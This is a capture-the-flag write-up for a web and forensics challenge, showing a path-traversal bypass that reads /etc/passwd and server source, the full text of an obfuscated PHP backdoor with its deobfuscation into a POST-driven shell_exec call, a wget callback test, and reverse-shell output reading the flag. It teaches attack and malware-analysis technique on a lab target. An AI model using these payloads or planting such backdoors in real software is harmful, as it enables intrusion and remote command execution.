First of all, huge thanks to Optiv for putting Source Zero Con together. It’s one of my favorite cons each year. They’ve got such an awesome team over there. Major props to everyone, from the CTF team to the speakers. Love you all <3 Keep up the great work.
Alrighty, it’s that time a year. CTF Time! I don’t really do that many, but I always enjoy anything that this team puts out, so I always try to make it appoint to do them. I always find a few of the challenges super interesting – this one is no different.
Compromised – This challenge was compromised of three parts, a bit of Web App and a bit of Forensics. Definitely unique, I haven’t seen many of this type before, but I really enjoy it. I used to do Malware Analysis fairly reguarly as my day job, so maybe thats part of it. Anyways, let’s dive into it.
0x1 – An Incident
The challenge narrative starts off like so:
Someone keeps hacking my audio streaming website and I don't know how! I think they left a backdoor or something! Can you take a look at it?
Sure! Why not, I’m already here. I might as well take a peaksy….
Here’s the website, omfg. What a throwback. Aside from the awesome music, the first thing that immediately stands out to me is the download button on the site. Let’s load up Burpsuite real quick and peak at the download button.
Clicking on the download button appears to send a GET request to download.php with a file parameter that appears to be a base64 encoded string. Burpsuite seems to think this string decodes to “omfg_hello.mp3” – I’d say thats probably pretty accurate. Let’s take a peak at the sites JS source real quick to see validate the functionality.
Would you look at that! a flag! There doesn’t appear to be any reference to base64, but we do have some track names.
0x2 Local File Inclusion
Let’s test some basic LFI payloads against the webapp and see if we can get any hits. Cyberchef is my tool of choice now a days for various encoding mechanisms, so let’s try a basic and see if we have any luck.../../../etc/passwd
Sending it off to the Web App we can an interesting and informative response: The file /www/audio/..etc/passwd does not exist!
It looks like the application may be stripping or replacing with just , let’s try in anticipation it will strip from our request.../
.
...//...//
../
Success! We were able to leak the contents of /etc/passwd. Let’s go take a peak at the challenge description to see if we can get any pointers as to what’s next.
Did you find anything interesting yet? Is there a feature you can leverage to read the server-side code?
That’s… actually a really good hint… Let’s try to read download.php.
Would you look at that! A new flag. We must be on the right track. I don’t see a backdoor anywhere around here though…
0x3 Analyzing the Backdoor
Now that you can read the server-side code, did you find any backdoor injected in them? If the answer is yes, try using that backdoor to read the flag located at the '/' directory!
Well, no. I haven’t started looking. So far there’s really only two files that are interpreted by the server; Index.php and Download.php. There may be more, but since we’ve leaked the source of Download.php, let’s check out index.
Sure enough, there it is. That’s a really nasty looking chunk of PHP – let’s take a stab at decoding it. So, the first thing I like to do is add some newlines. My preferred method is to plop this guy in Sublime, search for all the semi-colons with ctrl+f, select alt+enter, move over once to the right and press “enter” to insert a newline. In the end we should be left with something like this:
<?php $_=``.[];
$__=@$_;
$_= $__[0];
$_1 = $__[2];
$_1++;
$_1++;
$_1++;
$_1++;
$_1++;
$_1++;
$_++;
$_++;
$_0 = $_;
$_++;
$_2 = ++$_;
$_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');
$_ = $_2.$_1.$_2.$_0;
$_($$_55[_]);
?>
Well, that’s certainly an interesting backdoor. When I first looked at this, I didn’t really understand what in the world was going on. It’s not quite obvious. My first instinct when i don’t understand what’s going on it to toss it immediately in ChatGPT!
That was a joke. I normally run the code to get a better understanding of how it’s working. I like to use PHP’s built in server – you can spawn it with . I saved the php file as , so I’ll have to hit that endpoint to make it load.php -S 0.0.0.0:80
backdoor.php
And we recieved a 500 error. This means an error occured on the servers end. Looking up at the console, there’s a super menacing red line. The error states:
127.0.0.1:26423 [500]: GET /backdoor.php - Uncaught ValueError: shell_exec(): Argument #1 ($command) cannot be empty in /root/backdoor.php:1
Stack trace:
#0 /root/backdoor.php(1): shell_exec()
#1 {main}
thrown in /root/backdoor.php on line 1
shell_exec? Well that’s certainly weird, I don’t see a shell_exec a round here any place. Apparently it’s on Line 1 of the PHP script too – let’s isolate that line:
<?php $_=``.[];
So, we have a variable, two backticks, and a string to array conversion, huh. Somehow this translates into shell_exec. According to the PHP Documentation, backticks can be used to execute a shell command.
Well, thats certainly a TIL! So in theory, if we were to add, I don’t know, let’s say into the backticks, we should get a valid page back! Let’s give it a shot…id
aannndddd failure. But this time we have a really interesting error:
127.0.0.1:26724 [500]: GET /backdoor.php - Uncaught Error: Call to undefined function yjyw() in /root/backdoor.php:18
Stack trace:
#0 {main}
thrown in /root/backdoor.php on line 18
Well thats interesting. I definitely don’t recall seeing any functions in the script. This error is on line 18, let’s investigate:
$_($$_55[_]);
Huh, so we have what looks like a function call to $_ with as an argument. So, what is $$55? Let’s modify our PHP code to echo out the contents of $$55. We’ll comment out the function call below so we don’t accidentally crash the program. I’m going to keep id supplied as well, just so it doesn’t crash.$$_55[_]
<?php $_=`id`.[];
$__=@$_;
$_= $__[0];
$_1 = $__[2];
<snip>
$_++;
$_0 = $_;
$_++;
$_2 = ++$_;
$_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');
echo $_55;
$_ = $_2.$_1.$_2.$_0;
//$_($$_55[_]);
?>
And the contents are in! It’s… _POST.
Well isn’t that interesting. Let’s plug that in and see what it looks like:
$_($_POST[_])
Well, that’s starting to look more interesting. It looks like we have a function call to $_ where the server takes the _ argument as a POST request. We can test this locally, though we should be at the point where we can try to gain RCE from this. We can try something like an HTTP callback with .wget burpcollaburl
And surprise! We got a callback.
Now, I had to borrow Szy’s VPS for this because my ISP doesn’t like port forwarding and I’m too lazy to setup NGROK; so, using a standard bash reverse shell, we can land on the host:
annnndddd I only have the text based output because Szy didn’t send me a screenshot, so you’ll just have to believe it worked 😀
www-data@comprom-1uocqb-1687450894-f49f96585-wb4jp:/www$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@comprom-1uocqb-1687450894-f49f96585-wb4jp:/www$ ls -al /
ls -al /
total 84
drwxr-xr-x 1 root root 4096 Jun 22 16:21 .
drwxr-xr-x 1 root root 4096 Jun 22 16:21 ..
drwxr-xr-x 1 root root 4096 Nov 15 2022 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 360 Jun 22 16:21 dev
drwxr-xr-x 1 root root 4096 Jun 22 16:21 etc
-rw-r--r-- 1 root root 35 Jun 22 13:28 flag_3_7764865c46bfce2c138e77ae5407354e.txt
drwxr-xr-x 2 root root 4096 Sep 3 2022 home
drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
drwxr-xr-x 2 root root 4096 Nov 14 2022 lib64
drwxr-xr-x 2 root root 4096 Nov 14 2022 media
drwxr-xr-x 2 root root 4096 Nov 14 2022 mnt
drwxr-xr-x 2 root root 4096 Nov 14 2022 opt
dr-xr-xr-x 296 root root 0 Jun 22 16:21 proc
drwx------ 1 root root 4096 Nov 15 2022 root
drwxr-xr-x 1 root root 4096 Nov 15 2022 run
drwxr-xr-x 1 root root 4096 Nov 15 2022 sbin
drwxr-xr-x 2 root root 4096 Nov 14 2022 srv
dr-xr-xr-x 13 root root 0 Jun 22 16:21 sys
drwxrwxrwt 1 root root 4096 Jun 22 13:28 tmp
drwxr-xr-x 1 root root 4096 Nov 14 2022 usr
drwxr-xr-x 1 root root 4096 Nov 15 2022 var
www-data@comprom-1uocqb-1687450894-f49f96585-wb4jp:/www$ cat flag_3_7764865c46bfce2c138e77ae5407354e.txt
<w$ cat /flag_3_7764865c46bfce2c138e77ae5407354e.txt
flag{p3rs1s<snip>32}
Closing notes: I know I skipped over a lot of the PHP code, that’s mainly because most of it was mutating the output and wasn’t actually used in any way that was meaningful. Other than that, that’s all she wrote for this challenge! A simple LFI -> Reverse Engineering a backdoor -> simple RCE.
Hope you enjoyed ~ Ronnie
原文始发于spookysec:Source Zero Con Writeup – Compromised